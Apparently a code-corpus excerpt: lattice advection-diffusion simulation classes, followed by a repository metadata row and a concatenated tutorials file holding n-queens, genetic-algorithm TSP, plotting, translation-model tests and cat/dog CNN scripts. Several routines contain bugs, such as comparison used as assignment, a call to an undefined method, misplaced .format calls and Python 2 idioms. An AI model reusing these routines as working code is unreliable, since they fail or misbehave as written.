'x': ix_new = self.ix.copy() dindx = -np.round(self.u*self.dt_2/n/self.dx).astype(int) ix_new = self.ix + dindx ix_new[ix_new<0] = ix_new[ix_new<0] + self.nx ix_new[ix_new>self.nx-1] = ix_new[ix_new>self.nx-1] - self.nx self.th = self.th[self.iy,ix_new] elif direction == 'y': iy_new = self.iy.copy() dindy = -np.round(self.v*self.dt_2/n/self.dy).astype(int) iy_new = self.iy + dindy iy_new[iy_new<0] = iy_new[iy_new<0] + self.ny iy_new[iy_new>self.ny-1] = iy_new[iy_new>self.ny-1] - self.ny self.th = self.th[iy_new,self.ix] # advection + source #y = self.y[...,np.newaxis] + np.zeros(self.x.size)[np.newaxis,...] #v = self.v + np.zeros(self.y.size)[...,np.newaxis] #sy = np.sin(self.dl*y) #syn = np.sin(self.dl*(y+v*self.dt_2/n)) #v = np.ma.masked_array(v, v == 0.) #self.forcey = (sy[iy_new,self.ix]-sy)/(self.dl*v) #self.forcey = (syn-sy)/(self.dl*v) #self.forcey[v.mask] = (self.dt_2/n)*np.cos(self.dl*y[v.mask]) #self.th = self.th[iy_new,self.ix] + self.forcey def _diffuse(self, n=1): """ Diffusion """ self.thh = np.fft.rfft2(self.th) self.thh = self.thh*exp(-(self.dt/n)*self.kappa*self.wv2) self.th = np.fft.irfft2(self.thh) def _source(self,direction='x',n=1): if direction == 'x': self.th += (self.dt/n)*np.cos(self.dl*self.y)[...,np.newaxis] elif direction == 'y': # a brutal way #self.th += (self.dt/n)*np.cos(self.dl*self.y)[...,np.newaxis] pass def _step_forward(self): self._velocity() # x-dir self._advect(direction='x',n=2) self._source(direction='x',n=2) self._diffuse(n=4) self._advect(direction='x',n=2) self._source(direction='x',n=2) self._diffuse(n=4) # y-dir self._advect(direction='y',n=2) self._source(direction='y',n=2) self._diffuse(n=4) self._advect(direction='y',n=2) self._source(direction='y',n=2) self._diffuse(n=4) self._calc_diagnostics() self.tc += 1 self.t += self.dt def run_with_snapshots(self, tsnapstart=0., tsnap=1): """Run the model forward, yielding to user code at specified intervals. """ tsnapint = np.ceil(tsnap/self.dt) while(self.t < self.tmax): self._step_forward() if self.t>=tsnapstart and (self.tc%tsnapint)==0: yield self.t return def run(self): """Run the model forward without stopping until the end.""" while(self.t < self.tmax): self._step_forward() def _calc_diagnostics(self): # here is where we calculate diagnostics if (self.t>=self.dt) and (self.t>=self.tavestart): self._increment_diagnostics() # diagnostic stuff follow def _initialize_diagnostics(self): # Initialization for diagnotics self.diagnostics = dict() self._setup_diagnostics() if self.diagnostics_list == 'all': pass # by default, all diagnostics are active elif self.diagnostics_list == 'none': self.set_active_diagnostics([]) else: self.set_active_diagnostics(self.diagnostics_list) def _setup_diagnostics(self): """Diagnostics setup""" self.add_diagnostic('var', description='Tracer variance', function= (lambda self: self.spec_var(self.thh)) ) self.add_diagnostic('thbar', description='x-averaged tracer', function= (lambda self: self.thm) ) self.add_diagnostic('grad2_th_bar', description='x-averaged gradient square of th', function= (lambda self: self.gradth2m) ) self.add_diagnostic('vth2m', description='x-averaged triple advective term v th2', function= (lambda self: self.vth2m) ) self.add_diagnostic('th2m', description='x-averaged th2', function= (lambda self: self.th2m) ) self.add_diagnostic('vthm', description='x-averaged, y-direction tracer flux', function= (lambda self: (self.v*self.tha).mean(axis=1)) ) self.add_diagnostic('fluxy', description='x-averaged, y-direction tracer flux', function= (lambda self: (self.v*self.th).mean(axis=1)) ) self.add_diagnostic('spec', description='spec of anomalies about x-averaged flow', function= (lambda self: np.abs(np.fft.rfft2( self.th-self.th.mean(axis=1)[...,np.newaxis]))**2/self.M2) ) def _set_active_diagnostics(self, diagnostics_list): for d in self.diagnostics: self.diagnostics[d]['active'] == (d in diagnostics_list) def add_diagnostic(self, diag_name, description=None, units=None, function=None): # create a new diagnostic dict and add it to the object array # make sure the function is callable assert hasattr(function, '__call__') # make sure the name is valid assert isinstance(diag_name, str) # by default, diagnostic is active self.diagnostics[diag_name] = { 'description': description, 'units': units, 'active': True, 'count': 0, 'function': function, } def describe_diagnostics(self): """Print a human-readable summary of the available diagnostics.""" diag_names = self.diagnostics.keys() diag_names.sort() print('NAME | DESCRIPTION') print(80*'-') for k in diag_names: d = self.diagnostics[k] print('{:<10} | {:<54}').format( *(k, d['description'])) def _increment_diagnostics(self): # compute intermediate quantities needed for some diagnostics self._calc_derived_fields() for dname in self.diagnostics: if self.diagnostics[dname]['active']: res = self.diagnostics[dname]['function'](self) if self.diagnostics[dname]['count']==0: self.diagnostics[dname]['value'] = res else: self.diagnostics[dname]['value'] += res self.diagnostics[dname]['count'] += 1 def _calc_derived_fields(self): """ Calculate derived field necessary for diagnostics """ self.thh = np.fft.rfft2(self.th) # x-averaged tracer field self.thm = self.th.mean(axis=1) #self.thmh = np.fft.rfft(self.thm) #self.thm_y = np.fft.irfft(1j*self.kk*self.thmh) # anomaly about the x-averaged field self.tha = self.th-self.thm[...,np.newaxis] self.thah = np.fft.rfft2(self.tha) # x-averaged gradient squared gradx = np.fft.irfft2(1j*self.k*self.thah) grady = np.fft.irfft2(1j*self.l*self.thah) self.gradth2m = (gradx**2 + grady**2).mean(axis=1) # Osborn-Cox amplification factor #self.thm_y = 4*np.sin(self.y*self.dl) #thm_y = self.block_average(self.thm_y) #gradth2m = self.block_average(self.gradth2m) #self.A2_OC = gradth2m / thm_y**2 #self.A2_OC[thm_y < 1.e-14] = np.nan # triple term self.vth2m = (self.v*(self.tha**2)).mean(axis=1) # diff transport self.th2m = (self.tha**2).mean(axis=1) def get_diagnostic(self, dname): return (self.diagnostics[dname]['value'] / self.diagnostics[dname]['count']) def spec_var(self, ph): """ compute variance of p from Fourier coefficients ph """ var_dens = 2. * np.abs(ph)**2 / self.M**2 # only half of coefs [0] and [nx/2+1] due to symmetry in real fft2 var_dens[...,0] = var_dens[...,0]/2. var_dens[...,-1] = var_dens[...,-1]/2. return var_dens.sum() def block_average(self,A, nblocks = 256): """ Block average A onto A blocks """ nave = self.nx/nblocks Ab = np.empty(nblocks) for i in range(nblocks): Ab[i] = A[i*nave:(i+1)*nave].mean() return Ab class LatticeModelGy(): """ A class that represents a two-dimensional lattice model of advection-diffusion with large-scale sinusoidal source """ def __init__(self, nx=128, ny=None, Lx=2*pi, Ly=None, dt=0.5, tmax=1000, tavestart = 500, kappa=1.e-5, urms = 1., power = 3.5, nmin = 5., nmax = None, G = 1., diagnostics_list='all', cadence = 5): if ny is None: ny = nx if Ly is None: Ly = Lx self.nx = nx self.ny = ny self.Lx = Lx self.Ly = Ly self.dt = dt self.dt_2 = dt/2. self.dt_4 = dt/4. self.tmax = tmax self.tavestart = tavestart self.t = 0. self.tc = 0 self.G = G self.kappa = kappa self.nmin = nmin if nmax: self.nmax = nmax else: self.nmax = nx self.power = power self.urms = urms self.diagnostics_list = diagnostics_list self.cadence = cadence self._initialize_grid() self._init_velocity() self._initialize_diagnostics() self.even = True self.odd = False def _initialize_grid(self): """ Initialize lattice and spectral space grid """ # physical space grids self.dx, self.dy = self.Lx/(self.nx), self.Ly/(self.ny) self.x = np.linspace(0.,self.Lx-self.dx,self.nx) self.y = np.linspace(0.,self.Ly-self.dy,self.ny) self.xi, self.yi = np.meshgrid(self.x,self.y) self.ix, self.iy = np.meshgrid(range(self.nx), range(self.ny)) # wavenumber grids self.dk = 2.*pi/self.Lx self.dl = 2.*pi/self.Ly self.nl = self.ny self.nk = self.nx/2+1 self.ll = self.dl*np.append( np.arange(0.,self.nx/2), np.arange(-self.nx/2,0.) ) self.kk = self.dk*np.arange(0.,self.nk) self.k, self.l = np.meshgrid(self.kk, self.ll) self.ik = 1j*self.k self.il = 1j*self.l # constant for spectral normalizations self.M = self.nx*self.ny self.M2 = self.M**2 self.wv2 = self.k**2 + self.l**2 self.wv = np.sqrt( self.wv2 ) def _velocity(self): phase = 2*pi*np.random.rand(2,self.nmax-self.nmin) phi, psi = phase[0], phase[1] Yn = self.n*self.y[...,np.newaxis] + phase[0][np.newaxis,...] Xn = self.n*self.x[...,np.newaxis] + phase[1][np.newaxis,...] u = (self.An*cos(Yn*self.dl)).sum(axis=1) v = (self.An*cos(Xn*self.dk)).sum(axis=1) self.u = u[...,np.newaxis] self.v = v[np.newaxis,...] def _init_velocity(self): self.n = np.arange(self.nmin,self.nmax)[np.newaxis,...] An = (self.n/self.nmin)**(-self.power/2.) N = 2*self.urms/( np.sqrt( ((self.n/self.nmin)**-self.power).sum() ) ) self.An = N*An #self.An = np.sqrt(2.) #self.An = 2*urms # estimate the Batchelor scale S = np.sqrt( ((self.An*self.n*self.dk)**2).sum()/2. ) self.lb = np.sqrt(self.kappa/S) #assert self.lb > self.dx, "**Warning: Batchelor scale not resolved." def _advect(self,direction='x',n=1): """ Advect th on a lattice given u and v, and the current index array ix, iy n is the number of substeps n=1 for doing the full advection-diffusion, n=2 for doing half the advection, etc """ if direction == 'x': ix_new = self.ix.copy() dindx = -np.round(self.u*self.dt_2/n/self.dx).astype(int) ix_new = self.ix + dindx ix_new[ix_new<0] = ix_new[ix_new<0] + self.nx ix_new[ix_new>self.nx-1] = ix_new[ix_new>self.nx-1] - self.nx self.th = self.th[self.iy,ix_new] elif direction == 'y': iy_new = self.iy.copy() dindy = -np.round(self.v*self.dt_2/n/self.dy).astype(int) iy_new = self.iy + dindy iy_new[iy_new<0] = iy_new[iy_new<0] + self.ny iy_new[iy_new>self.ny-1] = iy_new[iy_new>self.ny-1] - self.ny self.th = self.th[iy_new,self.ix] + self.G*self.v*self.dt_2/n def _diffuse(self, n=1): """ Diffusion """ self.thh = np.fft.rfft2(self.th) self.thh = self.thh*exp(-(self.dt/n)*self.kappa*self.wv2) self.th = np.fft.irfft2(self.thh) def _step_forward(self): self._velocity() # x-dir self._advect(direction='x',n=2) self._calc_diagnostics() self._diffuse(n=4) #self._calc_diagnostics() self._advect(direction='x',n=2) self._calc_diagnostics() self._diffuse(n=4) #self._calc_diagnostics() # y-dir self._advect(direction='y',n=2) self._calc_diagnostics() self._diffuse(n=4) #self._calc_diagnostics() self._advect(direction='y',n=2) self._calc_diagnostics() self._diffuse(n=4) #self._calc_diagnostics() self.tc += 1 self.t += self.dt def run_with_snapshots(self, tsnapstart=0., tsnap=1): """Run the model forward, yielding to user code at specified intervals. """ tsnapint = np.ceil(tsnap/self.dt) while(self.t < self.tmax): self._step_forward() if self.t>=tsnapstart and (self.tc%tsnapint)==0: yield self.t return def run(self): """Run the model forward without stopping until the end.""" while(self.t < self.tmax): self._step_forward() def _calc_diagnostics(self): # here is where we calculate diagnostics if (self.t>=self.dt) and (self.t>=self.tavestart) and (self.tc%self.cadence): self._increment_diagnostics() # diagnostic stuff follow def _initialize_diagnostics(self): # Initialization for diagnotics self.diagnostics = dict() self._setup_diagnostics() if self.diagnostics_list == 'all': pass # by default, all diagnostics are active elif self.diagnostics_list == 'none': self.set_active_diagnostics([]) else: self.set_active_diagnostics(self.diagnostics_list) def _setup_diagnostics(self): """Diagnostics setup""" self.add_diagnostic('var', description='Tracer variance', function= (lambda self: self.spec_var(self.thh)) ) self.add_diagnostic('thbar', description='x-averaged tracer', function= (lambda self: self.thm) ) self.add_diagnostic('grad2_th_bar', description='x-averaged gradient square of th', function= (lambda self: self.gradth2m) ) self.add_diagnostic('vth2m', description='x-averaged triple advective term v th2', function= (lambda self: self.vth2m) ) self.add_diagnostic('th2m', description='x-averaged th2', function= (lambda self: self.th2m) ) self.add_diagnostic('vthm', description='x-averaged, y-direction tracer flux', function= (lambda self: (self.v*self.tha).mean(axis=1)) ) self.add_diagnostic('fluxy', description='x-averaged, y-direction tracer flux', function= (lambda self: (self.v*self.th).mean(axis=1)) ) self.add_diagnostic('spec', description='spec of anomalies about x-averaged flow', function= (lambda self: np.abs(np.fft.rfft2( self.th-self.th.mean(axis=1)[...,np.newaxis]))**2/self.M2) ) def _set_active_diagnostics(self, diagnostics_list): for d in self.diagnostics: self.diagnostics[d]['active'] == (d in diagnostics_list) def add_diagnostic(self, diag_name, description=None, units=None, function=None): # create a new diagnostic dict and add it to the object array # make sure the function is callable assert hasattr(function, '__call__') # make sure the name is valid assert isinstance(diag_name, str) # by default, diagnostic is active self.diagnostics[diag_name] = { 'description': description, 'units': units, 'active': True, 'count': 0, 'function': function, } def describe_diagnostics(self): """Print a human-readable summary of the available diagnostics.""" diag_names = self.diagnostics.keys() diag_names.sort() print('NAME | DESCRIPTION') print(80*'-') for k in diag_names: d = self.diagnostics[k] print('{:<10} | {:<54}').format( *(k, d['description'])) def _increment_diagnostics(self): # compute intermediate quantities needed for some diagnostics self._calc_derived_fields() for dname in self.diagnostics: if self.diagnostics[dname]['active']: res = self.diagnostics[dname]['function'](self) if self.diagnostics[dname]['count']==0: self.diagnostics[dname]['value'] = res else: self.diagnostics[dname]['value'] += res self.diagnostics[dname]['count'] += 1 def _calc_derived_fields(self): """ Calculate derived field necessary for diagnostics """ self.thh = np.fft.rfft2(self.th) # x-averaged tracer field self.thm = self.th.mean(axis=1) #self.thmh = np.fft.rfft(self.thm) #self.thm_y = np.fft.irfft(1j*self.kk*self.thmh) # anomaly about the x-averaged field self.tha = self.th-self.thm[...,np.newaxis] self.thah = np.fft.rfft2(self.tha) # x-averaged gradient squared gradx = np.fft.irfft2(1j*self.k*self.thah) grady = np.fft.irfft2(1j*self.l*self.thah) self.gradth2m = (gradx**2 + grady**2).mean(axis=1) # Osborn-Cox amplification factor #self.thm_y = 4*np.sin(self.y*self.dl) #thm_y = self.block_average(self.thm_y) #gradth2m = self.block_average(self.gradth2m) #self.A2_OC = gradth2m / thm_y**2 #self.A2_OC[thm_y < 1.e-14] = np.nan # triple term self.vth2m = (self.v*(self.tha**2)).mean(axis=1) # diff transport self.th2m = (self.tha**2).mean(axis=1) def get_diagnostic(self, dname): return (self.diagnostics[dname]['value'] / self.diagnostics[dname]['count']) def spec_var(self, ph): """ compute variance of p from Fourier coefficients ph """ var_dens = 2. * np.abs(ph)**2 / self.M**2 # only half of coefs [0] and [nx/2+1] due to symmetry in real fft2 var_dens[...,0] = var_dens[...,0]/2. var_dens[...,-1] = var_dens[...,-1]/2. return var_dens.sum() def block_average(self,A, nblocks = 256): """ Block average A onto A blocks """ nave = self.nx/nblocks Ab = np.empty(nblocks) for i in range(nblocks): Ab[i] = A[i*nave:(i+1)*nave].mean() return Ab #grad2 = (wv2*(np.abs(thh)**2)).sum()/(N**2) # a test initial concentration #x0,y0 = pi,pi #r = np.sqrt((x-x0)[np.newaxis,...]**2+(y-y0)[...,np.newaxis]**2) #th = np.zeros(N,N) #th = np.exp(-(r**2))
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4a022a6319b9423c35a6989ab9a751215b2aaf76
854,077
py
Python
machine-learning/nlp/text-generator/data/python_code.py
gizzmo25/pythoncode-tutorials
39a413fc1da232ad6de7e5f1e8955564dc65448e
[ "MIT" ]
null
null
null
machine-learning/nlp/text-generator/data/python_code.py
gizzmo25/pythoncode-tutorials
39a413fc1da232ad6de7e5f1e8955564dc65448e
[ "MIT" ]
null
null
null
machine-learning/nlp/text-generator/data/python_code.py
gizzmo25/pythoncode-tutorials
39a413fc1da232ad6de7e5f1e8955564dc65448e
[ "MIT" ]
null
null
null
from constraint import Problem, Domain, AllDifferentConstraint import matplotlib.pyplot as plt import numpy as np def _get_pairs(variables): work = list(variables) pairs = [ (work[i], work[i+1]) for i in range(len(work)-1) ] return pairs def n_queens(n=8): def not_in_diagonal(a, b): result = True for i in range(1, n): result = result and ( a != b + i ) return result problem = Problem() variables = { f'x{i}' for i in range(n) } problem.addVariables(variables, Domain(set(range(1, n+1)))) problem.addConstraint(AllDifferentConstraint()) for pair in _get_pairs(variables): problem.addConstraint(not_in_diagonal, pair) return problem.getSolutions() def magic_square(n=3): def all_equal(*variables): square = np.reshape(variables, (n, n)) diagonal = sum(np.diagonal(square)) b = True for i in range(n): b = b and sum(square[i, :]) == diagonal b = b and sum(square[:, i]) == diagonal if b: print(square) return b problem = Problem() variables = { f'x{i}{j}' for i in range(1, n+1) for j in range(1, n+1) } problem.addVariables(variables, Domain(set(range(1, (n**2 + 2))))) problem.addConstraint(all_equal, variables) problem.addConstraint(AllDifferentConstraint()) return problem.getSolutions() def plot_queens(solutions): for solution in solutions: for row, column in solution.items(): x = int(row.lstrip('x')) y = column plt.scatter(x, y, s=70) plt.grid() plt.show() if __name__ == "__main__": # solutions = n_queens(n=12) # print(solutions) # plot_queens(solutions) solutions = magic_square(n=4) for solution in solutions: print(solution) import numpy as np import random import operator import pandas as pd import matplotlib.pyplot as plt import seaborn from matplotlib import animation from realtime_plot import realtime_plot from threading import Thread, Event from time import sleep seaborn.set_style("dark") stop_animation = Event() # def animate_cities_and_routes(): # global route # def wrapped(): # # create figure # sleep(3) # print("thread:", route) # figure = plt.figure(figsize=(14, 8)) # ax1 = figure.add_subplot(1, 1, 1) # def animate(i): # ax1.title.set_text("Real time routes") # for city in route: # ax1.scatter(city.x, city.y, s=70, c='b') # ax1.plot([ city.x for city in route ], [city.y for city in route], c='r') # animation.FuncAnimation(figure, animate, interval=100) # plt.show() # t = Thread(target=wrapped) # t.start() def plot_routes(initial_route, final_route): _, ax = plt.subplots(nrows=1, ncols=2) for col, route in zip(ax, [("Initial Route", initial_route), ("Final Route", final_route) ]): col.title.set_text(route[0]) route = route[1] for city in route: col.scatter(city.x, city.y, s=70, c='b') col.plot([ city.x for city in route ], [city.y for city in route], c='r') col.plot([route[-1].x, route[0].x], [route[-1].x, route[-1].y]) plt.show() def animate_progress(): global route global progress global stop_animation def animate(): # figure = plt.figure() # ax1 = figure.add_subplot(1, 1, 1) figure, ax1 = plt.subplots(nrows=1, ncols=2) while True: ax1[0].clear() ax1[1].clear() # current routes and cities ax1[0].title.set_text("Current routes") for city in route: ax1[0].scatter(city.x, city.y, s=70, c='b') ax1[0].plot([ city.x for city in route ], [city.y for city in route], c='r') ax1[0].plot([route[-1].x, route[0].x], [route[-1].y, route[0].y], c='r') # current distance graph ax1[1].title.set_text("Current distance") ax1[1].plot(progress) ax1[1].set_ylabel("Distance") ax1[1].set_xlabel("Generation") plt.pause(0.05) if stop_animation.is_set(): break plt.show() Thread(target=animate).start() class City: def __init__(self, x, y): self.x = x self.y = y def distance(self, city): """Returns distance between self city and city""" x = abs(self.x - city.x) y = abs(self.y - city.y) return np.sqrt(x ** 2 + y ** 2) def __sub__(self, city): return self.distance(city) def __repr__(self): return f"({self.x}, {self.y})" def __str__(self): return self.__repr__() class Fitness: def __init__(self, route): self.route = route def distance(self): distance = 0 for i in range(len(self.route)): from_city = self.route[i] to_city = self.route[i+1] if i+i < len(self.route) else self.route[0] distance += (from_city - to_city) return distance def fitness(self): return 1 / self.distance() def generate_cities(size): cities = [] for i in range(size): x = random.randint(0, 200) y = random.randint(0, 200) if 40 < x < 160: if 0.5 <= random.random(): y = random.randint(0, 40) else: y = random.randint(160, 200) elif 40 < y < 160: if 0.5 <= random.random(): x = random.randint(0, 40) else: x = random.randint(160, 200) cities.append(City(x, y)) return cities # return [ City(x=random.randint(0, 200), y=random.randint(0, 200)) for i in range(size) ] def create_route(cities): return random.sample(cities, len(cities)) def initial_population(popsize, cities): return [ create_route(cities) for i in range(popsize) ] def sort_routes(population): """This function calculates the fitness of each route in population And returns a population sorted by its fitness in descending order""" result = [ (i, Fitness(route).fitness()) for i, route in enumerate(population) ] return sorted(result, key=operator.itemgetter(1), reverse=True) def selection(population, elite_size): sorted_pop = sort_routes(population) df = pd.DataFrame(np.array(sorted_pop), columns=["Index", "Fitness"]) # calculates the cumulative sum # example: # [5, 6, 7] => [5, 11, 18] df['cum_sum'] = df['Fitness'].cumsum() # calculates the cumulative percentage # example: # [5, 6, 7] => [5/18, 11/18, 18/18] # [5, 6, 7] => [27.77%, 61.11%, 100%] df['cum_perc'] = 100 * df['cum_sum'] / df['Fitness'].sum() result = [ sorted_pop[i][0] for i in range(elite_size) ] for i in range(len(sorted_pop) - elite_size): pick = random.random() * 100 for i in range(len(sorted_pop)): if pick <= df['cum_perc'][i]: result.append(sorted_pop[i][0]) break return [ population[index] for index in result ] def breed(parent1, parent2): child1, child2 = [], [] gene_A = random.randint(0, len(parent1)) gene_B = random.randint(0, len(parent2)) start_gene = min(gene_A, gene_B) end_gene = max(gene_A, gene_B) for i in range(start_gene, end_gene): child1.append(parent1[i]) child2 = [ item for item in parent2 if item not in child1 ] return child1 + child2 def breed_population(selection, elite_size): pool = random.sample(selection, len(selection)) # for i in range(elite_size): # children.append(selection[i]) children = [selection[i] for i in range(elite_size)] children.extend([breed(pool[i], pool[len(selection)-i-1]) for i in range(len(selection) - elite_size)]) # for i in range(len(selection) - elite_size): # child = breed(pool[i], pool[len(selection)-i-1]) # children.append(child) return children def mutate(route, mutation_rate): route_length = len(route) for swapped in range(route_length): if(random.random() < mutation_rate): swap_with = random.randint(0, route_length-1) route[swapped], route[swap_with] = route[swap_with], route[swapped] return route def mutate_population(population, mutation_rate): return [ mutate(route, mutation_rate) for route in population ] def next_gen(current_gen, elite_size, mutation_rate): select = selection(population=current_gen, elite_size=elite_size) children = breed_population(selection=select, elite_size=elite_size) return mutate_population(children, mutation_rate) def genetic_algorithm(cities, popsize, elite_size, mutation_rate, generations, plot=True, prn=True): global route global progress population = initial_population(popsize=popsize, cities=cities) if plot: animate_progress() sorted_pop = sort_routes(population) initial_route = population[sorted_pop[0][0]] distance = 1 / sorted_pop[0][1] if prn: print(f"Initial distance: {distance}") try: if plot: progress = [ distance ] for i in range(generations): population = next_gen(population, elite_size, mutation_rate) sorted_pop = sort_routes(population) distance = 1 / sorted_pop[0][1] progress.append(distance) if prn: print(f"[Generation:{i}] Current distance: {distance}") route = population[sorted_pop[0][0]] else: for i in range(generations): population = next_gen(population, elite_size, mutation_rate) distance = 1 / sort_routes(population)[0][1] if prn: print(f"[Generation:{i}] Current distance: {distance}") except KeyboardInterrupt: pass stop_animation.set() final_route_index = sort_routes(population)[0][0] final_route = population[final_route_index] if prn: print("Final route:", final_route) return initial_route, final_route, distance if __name__ == "__main__": cities = generate_cities(25) initial_route, final_route, distance = genetic_algorithm(cities=cities, popsize=120, elite_size=19, mutation_rate=0.0019, generations=1800) # plot_routes(initial_route, final_route) import numpy import matplotlib.pyplot as plt import cv2 from PIL import Image from multiprocessing import Process def fig2img ( fig ): """ brief Convert a Matplotlib figure to a PIL Image in RGBA format and return it param fig a matplotlib figure return a Python Imaging Library ( PIL ) image """ # put the figure pixmap into a numpy array buf = fig2data ( fig ) w, h, d = buf.shape return Image.frombytes( "RGB", ( w ,h ), buf.tostring( ) ) def fig2data ( fig ): """ brief Convert a Matplotlib figure to a 4D numpy array with RGBA channels and return it param fig a matplotlib figure return a numpy 3D array of RGBA values """ # draw the renderer fig.canvas.draw ( ) # Get the RGBA buffer from the figure w,h = fig.canvas.get_width_height() buf = numpy.fromstring ( fig.canvas.tostring_rgb(), dtype=numpy.uint8 ) buf.shape = ( w, h,3 ) # canvas.tostring_argb give pixmap in ARGB mode. Roll the ALPHA channel to have it in RGBA mode buf = numpy.roll ( buf, 3, axis = 2 ) return buf if __name__ == "__main__": pass # figure = plt.figure() # plt.plot([3, 5, 9], [3, 19, 23]) # img = fig2img(figure) # img.show() # while True: # frame = numpy.array(img) # # Convert RGB to BGR # frame = frame[:, :, ::-1].copy() # print(frame) # cv2.imshow("test", frame) # if cv2.waitKey(0) == ord('q'): # break # cv2.destroyAllWindows() def realtime_plot(route): figure = plt.figure(figsize=(14, 8)) plt.title("Real time routes") for city in route: plt.scatter(city.x, city.y, s=70, c='b') plt.plot([ city.x for city in route ], [city.y for city in route], c='r') img = numpy.array(fig2img(figure)) cv2.imshow("test", img) if cv2.waitKey(1) == ord('q'): cv2.destroyAllWindows() plt.close(figure) from genetic import genetic_algorithm, generate_cities, City import operator def load_cities(): return [ City(city[0], city[1]) for city in [(169, 20), (103, 24), (41, 9), (177, 76), (138, 173), (163, 108), (93, 34), (200, 84), (19, 184), (117, 176), (153, 30), (140, 29), (38, 108), (89, 183), (18, 4), (174, 38), (109, 169), (93, 23), (156, 10), (171, 27), (164, 91), (109, 194), (90, 169), (115, 37), (177, 93), (169, 20)] ] def train(): cities = load_cities() generations = 1000 popsizes = [60, 100, 140, 180] elitesizes = [5, 15, 25, 35, 45] mutation_rates = [0.0001, 0.0005, 0.001, 0.005, 0.01] total_iterations = len(popsizes) * len(elitesizes) * len(mutation_rates) iteration = 0 tries = {} for popsize in popsizes: for elite_size in elitesizes: for mutation_rate in mutation_rates: iteration += 1 init_route, final_route, distance = genetic_algorithm( cities=cities, popsize=popsize, elite_size=elite_size, mutation_rate=mutation_rate, generations=generations, plot=False, prn=False) progress = iteration / total_iterations percentage = progress * 100 print(f"[{percentage:5.2f}%] [Iteration:{iteration:3}/{total_iterations:3}] [popsize={popsize:3} elite_size={elite_size:2} mutation_rate={mutation_rate:7}] Distance: {distance:4}") tries[(popsize, elite_size, mutation_rate)] = distance min_gen = min(tries.values()) reversed_tries = { v:k for k, v in tries.items() } best_combination = reversed_tries[min_gen] print("Best combination:", best_combination) if __name__ == "__main__": train() # best parameters # popsize elitesize mutation_rateqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq # 90 25 0.0001 # 110 10 0.001 # 130 10 0.005 # 130 20 0.001 # 150 25 0.001 import os def load_data(path): """ Load dataset """ input_file = os.path.join(path) with open(input_file, "r") as f: data = f.read() return data.split('\n') import numpy as np from keras.losses import sparse_categorical_crossentropy from keras.models import Sequential from keras.preprocessing.text import Tokenizer from keras.utils import to_categorical def _test_model(model, input_shape, output_sequence_length, french_vocab_size): if isinstance(model, Sequential): model = model.model assert model.input_shape == (None, *input_shape[1:]),\ 'Wrong input shape. Found input shape {} using parameter input_shape={}'.format(model.input_shape, input_shape) assert model.output_shape == (None, output_sequence_length, french_vocab_size),\ 'Wrong output shape. Found output shape {} using parameters output_sequence_length={} and french_vocab_size={}'\ .format(model.output_shape, output_sequence_length, french_vocab_size) assert len(model.loss_functions) > 0,\ 'No loss function set. Apply the compile function to the model.' assert sparse_categorical_crossentropy in model.loss_functions,\ 'Not using sparse_categorical_crossentropy function for loss.' def test_tokenize(tokenize): sentences = [ 'The quick brown fox jumps over the lazy dog .', 'By Jove , my quick study of lexicography won a prize .', 'This is a short sentence .'] tokenized_sentences, tokenizer = tokenize(sentences) assert tokenized_sentences == tokenizer.texts_to_sequences(sentences),\ 'Tokenizer returned and doesn\'t generate the same sentences as the tokenized sentences returned. ' def test_pad(pad): tokens = [ [i for i in range(4)], [i for i in range(6)], [i for i in range(3)]] padded_tokens = pad(tokens) padding_id = padded_tokens[0][-1] true_padded_tokens = np.array([ [i for i in range(4)] + [padding_id]*2, [i for i in range(6)], [i for i in range(3)] + [padding_id]*3]) assert isinstance(padded_tokens, np.ndarray),\ 'Pad returned the wrong type. Found {} type, expected numpy array type.' assert np.all(padded_tokens == true_padded_tokens), 'Pad returned the wrong results.' padded_tokens_using_length = pad(tokens, 9) assert np.all(padded_tokens_using_length == np.concatenate((true_padded_tokens, np.full((3, 3), padding_id)), axis=1)),\ 'Using length argument return incorrect results' def test_simple_model(simple_model): input_shape = (137861, 21, 1) output_sequence_length = 21 english_vocab_size = 199 french_vocab_size = 344 model = simple_model(input_shape, output_sequence_length, english_vocab_size, french_vocab_size) _test_model(model, input_shape, output_sequence_length, french_vocab_size) def test_embed_model(embed_model): input_shape = (137861, 21) output_sequence_length = 21 english_vocab_size = 199 french_vocab_size = 344 model = embed_model(input_shape, output_sequence_length, english_vocab_size, french_vocab_size) _test_model(model, input_shape, output_sequence_length, french_vocab_size) def test_encdec_model(encdec_model): input_shape = (137861, 15, 1) output_sequence_length = 21 english_vocab_size = 199 french_vocab_size = 344 model = encdec_model(input_shape, output_sequence_length, english_vocab_size, french_vocab_size) _test_model(model, input_shape, output_sequence_length, french_vocab_size) def test_bd_model(bd_model): input_shape = (137861, 21, 1) output_sequence_length = 21 english_vocab_size = 199 french_vocab_size = 344 model = bd_model(input_shape, output_sequence_length, english_vocab_size, french_vocab_size) _test_model(model, input_shape, output_sequence_length, french_vocab_size) def test_model_final(model_final): input_shape = (137861, 15) output_sequence_length = 21 english_vocab_size = 199 french_vocab_size = 344 model = model_final(input_shape, output_sequence_length, english_vocab_size, french_vocab_size) _test_model(model, input_shape, output_sequence_length, french_vocab_size) CATEGORIES = ["Dog", "Cat"] IMG_SIZE = 100 DATADIR = r"C:\Users\STRIX\Desktop\CatnDog\PetImages" TRAINING_DIR = r"E:\datasets\CatnDog\Training" TESTING_DIR = r"E:\datasets\CatnDog\Testing" import cv2 import tensorflow as tf import os import numpy as np import random from settings import * from tqdm import tqdm # CAT_PATH = r"C:\Users\STRIX\Desktop\CatnDog\Testing\Cat" # DOG_PATH = r"C:\Users\STRIX\Desktop\CatnDog\Testing\Dog" MODEL = "Cats-vs-dogs-new-6-0.90-CNN" def prepare_image(path): image = cv2.imread(path, cv2.IMREAD_GRAYSCALE) image = cv2.resize(image, (IMG_SIZE, IMG_SIZE)) return image # img = cv2.imread(path, cv2.IMREAD_GRAYSCALE) # img = cv2.resize(img, (IMG_SIZE, IMG_SIZE)) # return img.reshape(-1, IMG_SIZE, IMG_SIZE, 1) def load_model(): return tf.keras.models.load_model(f"{MODEL}.model") def predict(img): prediction = model.predict([prepare_image(img)])[0][0] return int(prediction) if __name__ == "__main__": model = load_model() x_test, y_test = [], [] for code, category in enumerate(CATEGORIES): path = os.path.join(TESTING_DIR, category) for img in tqdm(os.listdir(path), "Loading images:"): # result = predict(os.path.join(path, img)) # if result == code: # correct += 1 # total += 1 # testing_data.append((os.path.join(path, img), code)) x_test.append(prepare_image(os.path.join(path, img))) y_test.append(code) x_test = np.array(x_test).reshape(-1, IMG_SIZE, IMG_SIZE, 1) # random.shuffle(testing_data) # total = 0 # correct = 0 # for img, code 